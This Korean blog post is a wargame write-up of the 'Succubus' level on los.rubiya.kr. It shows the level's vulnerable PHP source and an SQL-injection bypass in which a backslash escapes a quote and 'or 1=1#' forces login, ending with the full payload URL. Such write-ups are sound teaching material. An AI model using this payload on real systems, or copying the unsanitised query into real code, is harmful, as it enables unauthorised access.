웹찢남

Succubus-writeup 본문

WEB_HACKING/los.rubiya.kr

Succubus-writeup

harry595 2019. 12. 28. 14:26


<?php
  
include "./config.php"
  
login_chk();
  
$db dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(
preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(
preg_match('/\'/',$_GET[pw])) exit("HeHe");
  
$query "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) solve("succubus"); 
  
highlight_file(__FILE__); 
?>

 

\을 사용하여 id 뒤의 ' 를 무시해버린다.

pw에 or 1=1# 을 넣어 id='\' and pw' or 1=1#로 만들어 버리자

                                

?id=\&pw=or%201=1%23

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Nightmare-writeup  (0) 2019.12.28
Zombie_assassin-writeup  (0) 2019.12.28
Assassin-writeup  (0) 2019.12.27
Giant-writeup  (0) 2019.12.27
Bugbear-writeup  (0) 2019.12.27
Comments